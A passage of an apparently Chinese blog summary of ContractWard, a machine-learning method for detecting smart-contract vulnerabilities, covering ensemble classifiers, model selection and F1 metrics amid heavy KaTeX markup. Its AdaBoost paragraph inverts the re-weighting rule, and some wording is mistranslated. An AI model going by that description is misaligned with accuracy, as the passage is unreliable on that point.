style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">4</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">5</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">6</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>D</mi><mo>=</mo><mrow><mo stretchy="false">(</mo><msub><mi>x</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>y</mi><mn>1</mn></msub><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><msub><mi>x</mi><mn>2</mn></msub><mo separator="true">,</mo><msub><mi>y</mi><mn>2</mn></msub><mo stretchy="false">)</mo><mo separator="true">,</mo><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mo stretchy="false">(</mo><msub><mi>x</mi><mi>i</mi></msub><mo separator="true">,</mo><msub><mi>y</mi><mi>i</mi></msub><mo stretchy="false">)</mo><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mo stretchy="false">(</mo><msub><mi>x</mi><mi>k</mi></msub><mo separator="true">,</mo><msub><mi>y</mi><mi>k</mi></msub><mo stretchy="false">)</mo></mrow></mrow><annotation encoding="application/x-tex">D = {(x_1,y_1),(x_2,y_2),...(x_i,y_i)...(x_k,y_k)}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.02778em;">D</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord">.</span><span class="mord">.</span><span class="mord">.</span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord">.</span><span class="mord">.</span><span class="mord">.</span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.33610799999999996em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.33610799999999996em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span> ,多标签分类任务是通过拆分实现的,即将多标签分类任务划分为多个二进制分类任务。每个二进制分类任务都训练分类器,最后训练了六个分类器。这些二进制分类器的分类结果被集成,以提供多标签分类的最终结果。采用 One vs. Rest (OvR) 策略,这是最经典的拆分策略之一,用于实现多标签分类。</p><ul><li>OvR 的主要思想是训练六个二进制分类器,条件是将一个类别视为阳性类,将其他类别视为阴性类。在训练过程中,如果样本在六个类别中的一些类别中预测为阳性,则相应的标签为 1,这意味着样本在这些类别中具有漏洞。</li></ul><p>每个二进制分类任务都采用<a href="https://easyai.tech/ai-definition/ensemble-learning/">集成学习算法</a>(Ensemble learning algorithms),以获得比单个学习者更好的泛化性能(generalization performance)。为了便于比较,还采用了单一学习算法(single learning algorithms)。集成学习算法通过组合多个基分类器来完成学习任务,我们在此工作中使用决策树 (Decision Tree,DT)。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201015155100.png" alt="img" /></p><center>集成学习分类器</center><p>集成学习会挑选一些简单的基础模型进行组装,组装这些基础模型的思路主要有 2 种方法:</p><ol><li><p>bagging(bootstrap aggregating的缩写,也称作“套袋法”);Bagging 的核心思路是——民主。Bagging 的思路是所有基础模型都一致对待,每个基础模型手里都只有一票。然后使用民主投票的方式得到最终的结果。大部分情况下,经过 bagging 得到的结果方差(variance)更小。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201015155311.png" alt="bagging的具体过程" /></p></li><li><p>boosting:增强。Boosting 的核心思路是——挑选精英。Boosting 和 bagging 最本质的差别在于他对基础模型不是一致对待的,而是经过不停的考验和筛选来挑选出「精英」,然后给精英更多的投票权,表现不好的基础模型则给较少的投票权,然后综合所有人的投票得到最终结果。经过 boosting 得到的结果偏差(bias)更小。</p><p><img src="https://easy-ai.oss-cn-shanghai.aliyuncs.com/2019-10-17-boosting.png" alt="boosting的具体过程" /></p></li></ol><p>基于训练集的特征空间和标签,采用 eXtreme Gradient Boosting(XGBoost) 来开发 ContractWard 来检测智能合约中的漏洞。我们还采用自适应增强 (adopt Adaptive Boosting,AdaBoost)、随机森林 (Random Forest,RF)、支持矢量机 (Support Vector Machine,SVM) 和 k-最近邻居 (k-Nearest Neighbor,KNN) 进行检测以进行比较。</p><p>eXtreme Gradient Boosting (XGBoost): XGBoost 是一种高效的Boosting 算法。为了实现快速拟合,the learner应尽量减少预测值与实际值(例如:残差)之间的差值,并形成正则损耗函数(regularized loss function)。最后,预测是所有learner的总和。XGBoost 利用类似于 RF 的列采样来减少方差。与 AdaBoost 相比,XGBoost 效率很高,因为它支持功能粒度的并行处理,而不是学习粒度(learner granularity)的并行处理。</p><p>Adaptive Boosting(AdaBoost):AdaBoost 是增强算法的代表。它开始建立其第一个learner与初始训练集。在重新加权(re-weighting)过程中,它增加了正确分类或预测的样本的权重,同时同时减少错误分类和预测的样本的权重。重新分配样本的权重后,进行下一次训练。重复数次,直到基本学习器的数量达到预先设置的值。最后,通过结合多个弱学习器,可以获得强大的学习器。经过每个弱分类器的训练过程,增加了分类误差率小的弱分类器的权重,使其在最终分类函数中起着更大的决定性作用。相比之下,分类误差率较大的弱分类器的权重减小,在最终分类函数中起着较小的决定性作用。</p><p>Random Forest (RF): RF 是Bagging algorithms的扩展变体。训练集由 n 个示例组成,使用随机采样算法替换到从数据集中采样 n 次,反复,直到获得 t 个训练集数。然后分别对 t 基础学习器进行训练。其次,在预测过程中,分类决定取决于多数票。随机属性选择用于训练过程。</p><p>支持向量机(SVM):SVM是广泛使用的分类方法。其目标是找到一个超平面(hyper-plane),将样本分割成正样本或负样本,因此这两个类别之间有最大裕量(margin),其中分类器具有高可靠性和良好泛化能力的新样本。</p><p>k-最近邻居(KNN):KNN也是非常广泛使用的分类算法。它简单而高效。 给定一个测试样本,根据一些距离测量值找到最接近样本的 k 训练样本,然后根据 k 邻居的信息获得预测。根据多数票,k 样本中最常见的类别标签被选为预测结果。</p><h3 id="model-selection"><a class="markdownIt-Anchor" href="#model-selection"></a> Model Selection</h3><p>同一学习算法的超参数的分类结果差异很大。超参数是在学习之前设置其值的参数,而不是可以通过训练获得的参数。因此,在模型选择中,应调整算法的超参数,这通常称为超参数调优。 模型经过预设置的超参数训练,然后通过参数调整获得最优模型的超参数。 此外,决策阈值也根据数据分布进行调整,称为阈值移动。通常,如果预测值超过阈值,默认值为 0.5,则样本被区分为正数,或者相反为负值。通过上述方法,在培训过程中可以很好地避免分类器中过度安装和不拟合的问题。在我们的工作中,我们在培训处理中不采用 n 倍交叉验证(n-fold cross-validation)。</p><h2 id="实验评估"><a class="markdownIt-Anchor" href="#实验评估"></a> 实验评估</h2><p>在本节中,我们对测试集进行综合实验,以实现三重目标。首先,将采样方法与五个分类器进行比较,以验证采样方法的必要性。其次,F1-score, Micro-F1 值 ,Macro-F1值来衡量分类器的性能。根据评估结果,使用 XGBoost 分类器在合同中使用 SMOTETomek 在平衡训练集上训练。最后对合同的分类结果进行详细分析。</p><h3 id="setup"><a class="markdownIt-Anchor" href="#setup"></a> Setup</h3><p>实验环境:</p><center>TABLE V THE EXPERIMENT ENVIRONMENT</center><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201015161418.png" alt="image-20201015161418816" /></p><h3 id="test-sets"><a class="markdownIt-Anchor" href="#test-sets"></a> Test Sets</h3><p>在实验中,70% 的数据集用作训练数据。如果剩余的 30% 直接用作测试数据,则分类结果在不平衡的测试集上可能不够好。 如前所述,为了平衡测试集,我们采用随机抽样方法从大约 15K 个实际智能合约中选择样本。对于四种类型的漏洞,即 TOD、Callstack 漏洞、Timestamp 漏洞和Reentrancy漏洞,我们从多数类中随机选择样本,并且从多数类中选择的样本数是少数类数的五倍。然后,我们将从多数类和少数类的所有样本中选择的样本组合在一起,以形成最终包含足够样本且没有虚构样本的测试集。</p><h3 id="评估指标"><a class="markdownIt-Anchor" href="#评估指标"></a> 评估指标</h3><h4 id="f1-score"><a class="markdownIt-Anchor" href="#f1-score"></a> F1 score</h4><p>F1 score是用来评价二元分类器的度量,它的计算方法如下:</p><ol><li>首先定义以下几个概念<ol><li><span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>T</mi><mi>P</mi></mrow><annotation encoding="application/x-tex">TP</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">T</span><span class="mord mathdefault" style="margin-right:0.13889em;">P</span></span></span></span>(True Positive)真阳性:预测为正,实际也为正</li><li><span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>F</mi><mi>P</mi></mrow><annotation encoding="application/x-tex">FP</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="mord mathdefault" style="margin-right:0.13889em;">P</span></span></span></span>(False Positive)假阳性:预测为正,实际为负</li><li><span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>F</mi><mi>N</mi></mrow><annotation encoding="application/x-tex">FN</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="mord mathdefault" style="margin-right:0.10903em;">N</span></span></span></span>(False Negative)假阴性:预测与负、实际为正</li><li><span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>T</mi><mi>N</mi></mrow><annotation encoding="application/x-tex">TN</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">T</span><span class="mord mathdefault" style="margin-right:0.10903em;">N</span></span></span></span>(True Negative)真阴性:预测为负、实际也为负</li></ol></li><li>通过第一步的统计值计算precision和recall<ol><li>精准度 / 查准率(<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>p</mi><mi>r</mi><mi>e</mi><mi>c</mi><mi>i</mi><mi>s</mi><mi>i</mi><mi>o</mi><mi>n</mi><mo>=</mo><mfrac><mrow><mi>T</mi><mi>P</mi></mrow><mrow><mi>T</mi><mi>P</mi><mo>+</mo><mi>F</mi><mi>P</mi></mrow></mfrac></mrow><annotation encoding="application/x-tex">precision=\frac{TP}{TP+FP}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.85396em;vertical-align:-0.19444em;"></span><span class="mord mathdefault">p</span><span class="mord mathdefault" style="margin-right:0.02778em;">r</span><span class="mord mathdefault">e</span><span class="mord mathdefault">c</span><span class="mord mathdefault">i</span><span class="mord mathdefault">s</span><span class="mord mathdefault">i</span><span class="mord mathdefault">o</span><span class="mord mathdefault">n</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.275662em;vertical-align:-0.403331em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.872331em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.13889em;">T</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">P</span><span class="mbin mtight">+</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">F</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">P</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.13889em;">T</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">P</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.403331em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>):指被分类器判定阳性例中的阳性样本的比重</li><li>召回率 / 查全率 (<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>r</mi><mi>e</mi><mi>c</mi><mi>a</mi><mi>l</mi><mi>l</mi><mo>=</mo><mfrac><mrow><mi>T</mi><mi>P</mi></mrow><mrow><mi>T</mi><mi>P</mi><mo>+</mo><mi>F</mi><mi>N</mi></mrow></mfrac></mrow><annotation encoding="application/x-tex">recall=\frac{TP}{TP+FN}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.02778em;">r</span><span class="mord mathdefault">e</span><span class="mord mathdefault">c</span><span class="mord mathdefault">a</span><span class="mord mathdefault" style="margin-right:0.01968em;">l</span><span class="mord mathdefault" style="margin-right:0.01968em;">l</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.275662em;vertical-align:-0.403331em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.872331em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.13889em;">T</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">P</span><span class="mbin mtight">+</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">F</span><span class="mord mathdefault mtight" style="margin-right:0.10903em;">N</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.13889em;">T</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">P</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.403331em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>):指的是被预测为阳性例的占总的阳性例的比重</li><li>准确率(<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>a</mi><mi>c</mi><mi>c</mi><mi>u</mi><mi>r</mi><mi>a</mi><mi>c</mi><mi>y</mi><mo>=</mo><mfrac><mrow><mi>T</mi><mi>P</mi><mo>+</mo><mi>T</mi><mi>N</mi></mrow><mrow><mi>T</mi><mi>P</mi><mo>+</mo><mi>F</mi><mi>N</mi><mo>+</mo><mi>T</mi><mi>N</mi><mo>+</mo><mi>F</mi><mi>P</mi></mrow></mfrac></mrow><annotation encoding="application/x-tex">accuracy=\frac{TP+TN}{TP+FN+TN+FP}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord mathdefault">a</span><span class="mord mathdefault">c</span><span class="mord mathdefault">c</span><span class="mord mathdefault">u</span><span class="mord mathdefault" style="margin-right:0.02778em;">r</span><span class="mord mathdefault">a</span><span class="mord mathdefault">c</span><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.275662em;vertical-align:-0.403331em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.872331em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.13889em;">T</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">P</span><span class="mbin mtight">+</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">F</span><span class="mord mathdefault mtight" style="margin-right:0.10903em;">N</span><span class="mbin mtight">+</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">T</span><span class="mord mathdefault mtight" style="margin-right:0.10903em;">N</span><span class="mbin mtight">+</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">F</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">P</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.13889em;">T</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">P</span><span class="mbin mtight">+</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">T</span><span class="mord mathdefault mtight" style="margin-right:0.10903em;">N</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.403331em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>):代表分类器对整个样本判断正确的比重</li></ol></li><li><span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>F</mi><msub><mn>1</mn><mi>i</mi></msub><mo>=</mo><mfrac><mn>2</mn><mrow><mfrac><mn>1</mn><mrow><mi>p</mi><mi>r</mi><mi>e</mi><mi>c</mi><mi>i</mi><mi>s</mi><mi>i</mi><mi>o</mi><mi>n</mi></mrow></mfrac><mo>+</mo><mfrac><mn>1</mn><mrow><mi>r</mi><mi>e</mi><mi>c</mi><mi>a</mi><mi>l</mi><mi>l</mi></mrow></mfrac></mrow></mfrac><mo>=</mo><mn>2</mn><mo>×</mo><mfrac><mrow><mi>p</mi><mi>r</mi><mi>e</mi><mi>c</mi><mi>i</mi><mi>s</mi><mi>i</mi><mi>o</mi><mi>n</mi><mo>×</mo><mi>r</mi><mi>e</mi><mi>c</mi><mi>a</mi><mi>l</mi><mi>l</mi></mrow><mrow><mi>p</mi><mi>r</mi><mi>e</mi><mi>c</mi><mi>i</mi><mi>s</mi><mi>i</mi><mi>o</mi><mi>n</mi><mo>+</mo><mi>r</mi><mi>e</mi><mi>c</mi><mi>a</mi><mi>l</mi><mi>l</mi></mrow></mfrac></mrow><annotation encoding="application/x-tex">F1_{i}= \frac{2}{ \frac {1} {precision}+\frac {1} {recall}} =2\times \frac{precision \times recall}{precision+recall}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="mord"><span class="mord">1</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">i</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.584148em;vertical-align:-0.7390399999999999em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.845108em;"><span style="top:-2.5989799999999996em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8443142857142858em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">p</span><span class="mord mathdefault mtight" style="margin-right:0.02778em;">r</span><span class="mord mathdefault mtight">e</span><span class="mord mathdefault mtight">c</span><span class="mord mathdefault mtight">i</span><span class="mord mathdefault mtight">s</span><span class="mord mathdefault mtight">i</span><span class="mord mathdefault mtight">o</span><span class="mord mathdefault mtight">n</span></span></span></span><span style="top:-3.2255000000000003em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.384em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.48288571428571425em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span><span class="mbin mtight">+</span><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8443142857142858em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.02778em;">r</span><span class="mord mathdefault mtight">e</span><span class="mord mathdefault mtight">c</span><span class="mord mathdefault mtight">a</span><span class="mord mathdefault mtight" style="margin-right:0.01968em;">l</span><span class="mord mathdefault mtight" style="margin-right:0.01968em;">l</span></span></span></span><span style="top:-3.2255000000000003em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.384em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.344em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.7390399999999999em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.72777em;vertical-align:-0.08333em;"></span><span class="mord">2</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.4133239999999998em;vertical-align:-0.481108em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9322159999999999em;"><span style="top:-2.6550000000000002em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">p</span><span class="mord mathdefault mtight" style="margin-right:0.02778em;">r</span><span class="mord mathdefault mtight">e</span><span class="mord 